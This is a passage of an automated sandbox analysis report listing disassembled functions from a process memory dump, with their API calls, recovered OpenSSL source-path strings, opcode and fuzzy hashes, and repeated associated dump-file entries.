Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\bio\b_sock.c$J$host=
API String ID: 0-1729655730
Opcode ID: 01b0efafc7697a4f7d6a1a530da6b0f90e7318cc905d80235fe94a0ed0c4634c
Instruction ID: c3c16a1952bb87681551a0de40572cb4b3c9bb00c196d1f2914e8a9460b48162
Opcode Fuzzy Hash: 01b0efafc7697a4f7d6a1a530da6b0f90e7318cc905d80235fe94a0ed0c4634c
Instruction Fuzzy Hash: 1E319E36A0968296EB119F56F44016EB360FB847C4F440135EB9D43B9AEF3DD950DB00

Function 00007FF8A7DE139D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8A7EAAD60
WSAGetLastError.WS2_32 ref: 00007FF8A7EAAD6B

Strings

..\s\crypto\bio\b_sock2.c, xrefs: 00007FF8A7EAAD81, 00007FF8A7EAAD9D
2, xrefs: 00007FF8A7EAAD95

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ErrorLastsocket
String ID: ..\s\crypto\bio\b_sock2.c$2
API String ID: 1120909799-2051290508
Opcode ID: 7734bc7eb848a8c2f13e03d8370f2b6d25dc2938cf9324aa6d1bac55b8e4a966
Instruction ID: dac7b7cbdf475fc0d78f355aaf8380d530078a0d8121fe4c8c2a6b0be09513c6
Opcode Fuzzy Hash: 7734bc7eb848a8c2f13e03d8370f2b6d25dc2938cf9324aa6d1bac55b8e4a966
Instruction Fuzzy Hash: 6C01D231A09582A6E7219F21E4001AE7720FB44BD8F504335F6AD43AE9DF3DE911D750

Function 00007FF8A80099F0 Relevance: 6.5, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,?,00000000,?,00007FF8A800A0D3), ref: 00007FF8A8009B85
memcmp.VCRUNTIME140(?,?,?,00000000,?,00007FF8A800A0D3), ref: 00007FF8A8009B9D
memcmp.VCRUNTIME140(?,?,?,00000000,?,00007FF8A800A0D3), ref: 00007FF8A8009BB5
memcmp.VCRUNTIME140(?,?,?,00000000,?,00007FF8A800A0D3), ref: 00007FF8A8009BF1
memcmp.VCRUNTIME140(?,?,?,00000000,?,00007FF8A800A0D3), ref: 00007FF8A8009CD6

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 06533f56ebbf768209d34c10d8a7c5afb5f4e7864eca73073be81a017dffc2ce
Instruction ID: d807ab59e36f4d693cbbfc3b72ec4e897a89922a565e5b1f5c12b6e21781cc58
Opcode Fuzzy Hash: 06533f56ebbf768209d34c10d8a7c5afb5f4e7864eca73073be81a017dffc2ce
Instruction Fuzzy Hash: 1591BC62F1A652A5FF109A62CA506BD63B2FB517C8F409031DE0E5BAC9EF3CE851C314

Function 00007FF8A7DE643D Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 395COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A7FC773D
memset.VCRUNTIME140 ref: 00007FF8A7FC77A9

Strings

@, xrefs: 00007FF8A7FC7ACA
..\s\crypto\sm2\sm2_crypt.c, xrefs: 00007FF8A7FC7776, 00007FF8A7FC77B4, 00007FF8A7FC77C8, 00007FF8A7FC77E0, 00007FF8A7FC7843, 00007FF8A7FC788A, 00007FF8A7FC78B2, 00007FF8A7FC78F7, 00007FF8A7FC7913, 00007FF8A7FC7925, 00007FF8A7FC7945, 00007FF8A7FC79A0, 00007FF8A7FC7C8B, 00007FF8A7FC7CD3, 00007FF8A7FC7CFD, 00007FF8A7FC7D2C

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memset
String ID: ..\s\crypto\sm2\sm2_crypt.c$@
API String ID: 2221118986-485510600
Opcode ID: c576e86638d6d47135489a0f7299ebc2f4f0b9b2a3935ce6709f65e80419d92c
Instruction ID: 71e0c4372cd429c72e1344928cbbdf0b4fd0f2bed1d256eb309d0839dc66a61a
Opcode Fuzzy Hash: c576e86638d6d47135489a0f7299ebc2f4f0b9b2a3935ce6709f65e80419d92c
Instruction Fuzzy Hash: 8002C432A0AA8695EA11DF26E4005BE7760FB84BC4F504235EF9D07B99EF3DE605DB10

Function 00007FF8A7DE382D Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 226COMMON

Download Yara Rule

Strings

), xrefs: 00007FF8A7F6A84B
..\s\crypto\evp\p5_crpt.c, xrefs: 00007FF8A7F6A55C, 00007FF8A7F6A606, 00007FF8A7F6A7F5, 00007FF8A7F6A824, 00007FF8A7F6A853

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: )$..\s\crypto\evp\p5_crpt.c
API String ID: 0-3563398421
Opcode ID: a0ff16798964d517f23f621a694b9ffa1db1e9190bfdfc635015992b37e2d6c0
Instruction ID: 490a9b4a3a0c306515cf85f910373ba15ed9b1ec5e93bd34b019bf8ca4579c8b
Opcode Fuzzy Hash: a0ff16798964d517f23f621a694b9ffa1db1e9190bfdfc635015992b37e2d6c0
Instruction Fuzzy Hash: 2C91A672A1E683A5EA21DF21D4006BF6390FF857C4F445232EA5E47A89EF3DE545B700

Function 00007FF8A7CC2010 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 216stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7CC205A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7CC2078

Strings

HANGUL SYLLABLE , xrefs: 00007FF8A7CC204A
CJK UNIFIED IDEOGRAPH-, xrefs: 00007FF8A7CC206E

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: strncmp
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 1114863663-87138338
Opcode ID: 0d3d9270b7dece7ddf7bcaa2f82962271fc18701bc796ceff34d2871c1622e8f
Instruction ID: 0c834069d4f2e121e2aac22d8bfe03afaafd507b01ad7789fa6d0db00e5ec1ae
Opcode Fuzzy Hash: 0d3d9270b7dece7ddf7bcaa2f82962271fc18701bc796ceff34d2871c1622e8f
Instruction Fuzzy Hash: 40812432A19682A6E724CF15E8406BE7751FB847D8F540236EB5E47AC9EF3CD806E700

Function 00007FF8A7DE2DEC Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF8A7F4A4D0

Strings

unknown, xrefs: 00007FF8A7F4A503, 00007FF8A7F4A5CA
Operation not permitted, xrefs: 00007FF8A7F4A4C4

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ErrorLast
String ID: Operation not permitted$unknown
API String ID: 1452528299-31098287
Opcode ID: 3eb7fdf123b224d789d6a34ffa9101ea107b745f6317a6d8691ddf250b284916
Instruction ID: e82433a0c8576f317b07709880e41cfe5db570937b5da2f453eaf4ee4647c7e1
Opcode Fuzzy Hash: 3eb7fdf123b224d789d6a34ffa9101ea107b745f6317a6d8691ddf250b284916
Instruction Fuzzy Hash: 58816B21A1A652A6FB129F21E81437E23A1FF847C4F444136E95E433A9EF3CE588E714

Function 00007FF8A7DE153C Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7EEFB55
memmove.VCRUNTIME140 ref: 00007FF8A7EEFC03
memmove.VCRUNTIME140 ref: 00007FF8A7EEFC8D

Strings

..\s\crypto\ct\ct_oct.c, xrefs: 00007FF8A7EEFA85, 00007FF8A7EEFB7D, 00007FF8A7EEFB9B, 00007FF8A7EEFC17, 00007FF8A7EEFC33, 00007FF8A7EEFC5D, 00007FF8A7EEFC75

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove
String ID: ..\s\crypto\ct\ct_oct.c
API String ID: 2162964266-1972679481
Opcode ID: 6c367a9380db8c4d6bb43bbfaf41fefcef5fd88c7363d3f471c9dd1d50529fbe
Instruction ID: ab1c00bcec379ccdca34b1be86d6076265cdafa36e776f61dc03ebeb01af2fe1
Opcode Fuzzy Hash: 6c367a9380db8c4d6bb43bbfaf41fefcef5fd88c7363d3f471c9dd1d50529fbe
Instruction Fuzzy Hash: 3371D26260EA81A9E756CF2580101BC3B70EB15FC8F144536DEAD0338AEF3CE6A6D714

Function 00007FF8A7E93980 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 155stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E93A43
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E93A5B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7E93A78

Strings

content-type, xrefs: 00007FF8A7E9398A

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strncmp
String ID: content-type
API String ID: 1114863663-3266185539
Opcode ID: fc168e522d4eac5c9c55da0db9fc336a5cbc598727f46d667a2e4cb4928f7716
Instruction ID: 272da1f643c7fcedf5e32ec51bc4770f7b7399babcf338bc6d3356112662648b
Opcode Fuzzy Hash: fc168e522d4eac5c9c55da0db9fc336a5cbc598727f46d667a2e4cb4928f7716
Instruction Fuzzy Hash: 9451D033B0EE4261FA219E66944037EA299EF45BD8F441230DE6D877C9FE6CE911A300

Function 00007FF8A7DE1C76 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 57stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7F9662A

Strings

..\s\crypto\pem\pem_pkey.c, xrefs: 00007FF8A7F96654, 00007FF8A7F96679, 00007FF8A7F96690
X9.42 DH PARAMETERS, xrefs: 00007FF8A7F96619
DH PARAMETERS, xrefs: 00007FF8A7F965DB

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strcmp
String ID: ..\s\crypto\pem\pem_pkey.c$DH PARAMETERS$X9.42 DH PARAMETERS
API String ID: 1004003707-3633731555
Opcode ID: 4a5615fccb11e2113e4bdae87d566f23654b9fbf47032bb355c41642ab2ad7da
Instruction ID: d93fc99dfb265daf3ab6c67a32e491c7da8561f97adb5076a65719d4d4fab557
